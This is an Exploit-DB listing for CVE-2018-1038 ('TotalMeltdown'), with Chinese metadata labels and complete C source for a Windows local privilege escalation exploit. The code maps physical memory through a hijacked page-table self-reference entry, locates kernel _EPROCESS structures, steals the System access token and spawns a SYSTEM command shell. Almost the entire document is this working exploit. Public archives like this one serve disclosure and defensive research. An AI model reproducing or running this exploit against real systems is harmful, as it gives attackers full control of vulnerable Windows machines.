标题: Microsoft Windows - Local Privilege Escalation EDB-ID: 44581 CVE: 2018-1038 类型: LOCAL 平台: WINDOWS 发布日期: 2018-04-24 漏洞利用脚本: #include "stdafx.h"

#define PML4_BASE 0xFFFFF6FB7DBED000
#define PDP_BASE 0xFFFFF6FB7DA00000
#define PD_BASE  0xFFFFF6FB40000000
#define PT_BASE 0xFFFFF68000000000

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

#pragma pack(push,4)
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
 UCHAR Type;
 UCHAR ShareDisposition;
 USHORT Flags;
 union {
  struct {
   PHYSICAL_ADDRESS Start;
   ULONG Length;
  } Generic;

  struct {
   PHYSICAL_ADDRESS Start;
   ULONG Length;
  } Port;

  struct {
#if defined(NT_PROCESSOR_GROUPS)
   USHORT Level;
   USHORT Group;
#else
   ULONG Level;
#endif
   ULONG Vector;
   KAFFINITY Affinity;
  } Interrupt;

  struct {
   union {
    struct {
#if defined(NT_PROCESSOR_GROUPS)
     USHORT Group;
#else
     USHORT Reserved;
#endif
     USHORT MessageCount;
     ULONG Vector;
     KAFFINITY Affinity;
    } Raw;

    struct {
#if defined(NT_PROCESSOR_GROUPS)
     USHORT Level;
     USHORT Group;
#else
     ULONG Level;
#endif
     ULONG Vector;
     KAFFINITY Affinity;
    } Translated;
   } DUMMYUNIONNAME;
  } MessageInterrupt;

  struct {
   PHYSICAL_ADDRESS Start; 
   ULONG Length;
  } Memory;

  struct {
   ULONG Channel;
   ULONG Port;
   ULONG Reserved1;
  } Dma;

  struct {
   ULONG Channel;
   ULONG RequestLine;
   UCHAR TransferWidth;
   UCHAR Reserved1;
   UCHAR Reserved2;
   UCHAR Reserved3;
  } DmaV3;

  struct {
   ULONG Data[3];
  } DevicePrivate;

  struct {
   ULONG Start;
   ULONG Length;
   ULONG Reserved;
  } BusNumber;

  struct {
   ULONG DataSize;
   ULONG Reserved1;
   ULONG Reserved2;
  } DeviceSpecificData;

  struct {
   PHYSICAL_ADDRESS Start;
   ULONG Length40;
  } Memory40;

  struct {
   PHYSICAL_ADDRESS Start;
   ULONG Length48;
  } Memory48;

  struct {
   PHYSICAL_ADDRESS Start;
   ULONG Length64;
  } Memory64;

  struct {
   UCHAR Class;
   UCHAR Type;
   UCHAR Reserved1;
   UCHAR Reserved2;
   ULONG IdLowPart;
   ULONG IdHighPart;
  } Connection;

 } u;
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
#pragma pack(pop,4)

typedef enum _INTERFACE_TYPE {
 InterfaceTypeUndefined,
 Internal,
 Isa,
 Eisa,
 MicroChannel,
 TurboChannel,
 PCIBus,
 VMEBus,
 NuBus,
 PCMCIABus,
 CBus,
 MPIBus,
 MPSABus,
 ProcessorInternal,
 InternalPowerBus,
 PNPISABus,
 PNPBus,
 Vmcs,
 ACPIBus,
 MaximumInterfaceType
} INTERFACE_TYPE, *PINTERFACE_TYPE;

typedef struct _CM_PARTIAL_RESOURCE_LIST {
 USHORT                         Version;
 USHORT                         Revision;
 ULONG                          Count;
 CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;

typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
 INTERFACE_TYPE           InterfaceType;
 ULONG                    BusNumber;
 CM_PARTIAL_RESOURCE_LIST PartialResourceList;
} *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;

typedef struct _CM_RESOURCE_LIST {
 ULONG                       Count;
 CM_FULL_RESOURCE_DESCRIPTOR List[1];
} *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;

struct memory_region {
 ULONG64 size;
 ULONG64 address;
};

// Very hack'y way of trying to map out physical memory regions to try and reduce
// risk of BSOD
DWORD parse_memory_map(struct memory_region *regions) {
 HKEY hKey = NULL;
 LPTSTR pszSubKey = L"Hardware\\ResourceMap\\System Resources\\Physical Memory";
 LPTSTR pszValueName = L".Translated";
 LPBYTE lpData = NULL;
 DWORD dwLength = 0, count = 0, type = 0;;

 if (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)
 {
  printf("[*] Could not get reg key\n");
  return 0;
 }

 if (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)
 {
  printf("[*] Could not query hardware key\n");
  return 0;
 }

 lpData = (LPBYTE)malloc(dwLength);
 RegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);

 CM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;

 for (int i = 0; i < resource_list->Count; i++) {
  for (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {
   if (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {
    regions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
    regions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
    regions++;
    count++;
   }
  }
 }

 return count;
}

int main()
{
 printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
 printf("  paging code by @UlfFrisk\n\n");

 unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
 DWORD done;
 DWORD count;

 // Parse registry for physical memory regions
 printf("[*] Getting physical memory regions from registry\n");
 struct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);

 count = parse_memory_map(regions);
 if (count == 0) {
  printf("[X] Could not find physical memory region, quitting\n");
  return 2;
 }

 for (int i = 0; i < count; i++) {
  printf("[*] Phyiscal memory region found: %p - %p\n", regions[i].address, regions[i].address + regions[i].size);
 }

 // Check for vulnerability
 __try {
  int test = *(unsigned long long *)PML4_BASE;
 }
 __except (EXCEPTION_EXECUTE_HANDLER) {
  printf("[X] Could not access PML4 address, system likely not vulnerable\n");
  return 2;
 }

 // setup: PDPT @ fixed hi-jacked physical address: 0x10000
 // This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
 // we can hijack.
 for (iPML4 = 256; iPML4 < 512; iPML4++) {
  vaPML4e = PML4_BASE + (iPML4 << 3);
  if (*(unsigned long long *)vaPML4e) { continue; }

  // When we find an entry, we add a pointer to the next table (PDPT), which will be
  // stored at the physical address 0x10000
  *(unsigned long long *)vaPML4e = 0x10067;
  break;
 }
 printf("[*] PML4 Entry Added At Index: %d\n", iPML4);

 // Here, the PDPT table is referenced via a virtual address.
 // For example, if we added our hijacked PML4 entry at index 256, this virtual address
 // would be 0xFFFFF6FB7DA00000 + 0x100000
 // This allows us to reference the physical address 0x10000 as:
 // PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
 vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
 printf("[*] PDPT Virtual Address: %p", vaPDPT);

 // 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
 // Below is responsible for adding 31 entries to the PDPT
 for (iPDPT = 0; iPDPT < 31; iPDPT++) {
  *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
 }

 // For each of the PDs, a further 512 PT's are created. This gives access to
 // 512 * 32 * 2mb = 33gb physical memory space
 for (iPDPT = 0; iPDPT < 31; iPDPT++) {
  if ((iPDPT % 3) == 0)
   printf("\n[*] PD Virtual Addresses: ");

  vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
  printf("%p ", vaPD);

  for (iPD = 0; iPD < 512; iPD++) {
   // Below, notice the 0xe7 flags added to each entry.
   // This is used to create a 2mb page rather than the standard 4096 byte page.
   *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
  }
 }

 printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");

 #define EPROCESS_IMAGENAME_OFFSET 0x2e0
 #define EPROCESS_TOKEN_OFFSET 0x208
 #define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base

 unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
 unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
 STARTUPINFOA si;
 PROCESS_INFORMATION pi;
 
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory(&pi, sizeof(pi));

 printf("[*] Hunting for _EPROCESS structures in memory\n");

 for (int j = 0; j < count; j++) {
  printf("[*] Trying physical region %p - %p\n", regions[j].address, regions[j].address + regions[j].size);

  for (unsigned long long i = regions[j].address; i < +regions[j].address + regions[j].size; i++) {
   
   __try {
    // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
    if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
     if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
      ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
      printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
     }
    }
    // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
    else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
     if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
      systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
      printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
     }
    }

    if (systemEPROCESS != 0 && ourEPROCESS != 0) {
     // Swap the tokens by copying the pointer to System Token field over our process token
     printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
     *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
     printf("[*] Done, spawning SYSTEM shell...\n\n");

     CreateProcessA(0,
      "cmd.exe",
      NULL,
      NULL,
      TRUE,
      0,
      NULL,
      "C:\\windows\\system32",
      &si,
      &pi);
     break;
    }
   }
   __except (EXCEPTION_EXECUTE_HANDLER) {
    printf("[X] Exception occured, stopping to avoid BSOD\n");
    return 2;
   }
  }
 }
    return 0;
} URL: https://www.exploit-db.com/exploits/44581